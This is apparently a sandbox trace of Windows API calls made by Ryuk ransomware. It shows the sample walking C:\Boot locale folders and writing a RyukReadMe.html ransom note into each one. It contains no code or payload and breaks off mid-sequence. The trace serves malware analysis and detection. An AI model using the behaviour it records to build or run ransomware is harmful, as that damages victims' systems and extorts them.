	[0197.972] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.972] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.972] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.972] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.972] SetLastError (dwErrCode=0x0) 
	[0197.973] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\RyukReadMe.html" (normalized: "c:\\boot\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.973] GetLastError () returned 0x0
	[0197.973] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.976] CloseHandle (hObject=0x330) returned 1
	[0197.977] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0197.977] SetLastError (dwErrCode=0x0) 
	[0197.977] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.977] GetLastError () returned 0xb7
	[0197.977] CloseHandle (hObject=0x330) returned 1
	[0197.977] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.978] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.978] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.978] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.979] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.979] SetLastError (dwErrCode=0x0) 
	[0197.979] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\RyukReadMe.html" (normalized: "c:\\boot\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.233] GetLastError () returned 0x0
	[0198.233] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.236] CloseHandle (hObject=0x330) returned 1
	[0198.236] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0198.237] SetLastError (dwErrCode=0x0) 
	[0198.237] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.237] GetLastError () returned 0xb7
	[0198.237] CloseHandle (hObject=0x330) returned 1
	[0198.237] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.238] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.238] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.238] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.238] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.238] SetLastError (dwErrCode=0x0) 
	[0198.238] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\RyukReadMe.html" (normalized: "c:\\boot\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.239] GetLastError () returned 0x0
	[0198.239] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.242] CloseHandle (hObject=0x330) returned 1
	[0198.242] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0198.242] SetLastError (dwErrCode=0x0) 
	[0198.242] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.242] GetLastError () returned 0xb7
	[0198.242] CloseHandle (hObject=0x330) returned 1
	[0198.242] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.243] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.243] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.243] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.244] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.256] SetLastError (dwErrCode=0x0) 
	[0198.256] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\RyukReadMe.html" (normalized: "c:\\boot\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.257] GetLastError () returned 0x0
	[0198.257] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.259] CloseHandle (hObject=0x330) returned 1
	[0198.260] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0198.260] SetLastError (dwErrCode=0x0) 
	[0198.260] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.261] GetLastError () returned 0xb7
	[0198.261] CloseHandle (hObject=0x330) returned 1
	[0198.261] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.261] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.261] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.262] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.262] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.262] SetLastError (dwErrCode=0x0) 
	[0198.262] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\RyukReadMe.html" (normalized: "c:\\boot\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.262] GetLastError () returned 0x0
	[0198.262] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.266] CloseHandle (hObject=0x330) returned 1
	[0198.266] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0198.266] SetLastError (dwErrCode=0x0) 
	[0198.267] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.267] GetLastError () returned 0xb7
	[0198.267] CloseHandle (hObject=0x330) returned 1
	[0198.267] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.268] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.268] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.268] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.268] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.268] SetLastError (dwErrCode=0x0) 
	[0198.268] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\RyukReadMe.html" (normalized: "c:\\boot\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.269] GetLastError () returned 0x0
	[0198.269] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.272] CloseHandle (hObject=0x330) returned 1
	[0198.272] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0198.272] SetLastError (dwErrCode=0x0) 
	[0198.272] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.272] GetLastError () returned 0xb7
	[0198.272] CloseHandle (hObject=0x330) returned 1
	[0198.273] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.273] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.273] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.273] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.274] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.274] SetLastError (dwErrCode=0x0) 
	[0198.274] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\RyukReadMe.html" (normalized: "c:\\boot\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.274] GetLastError () returned 0x0
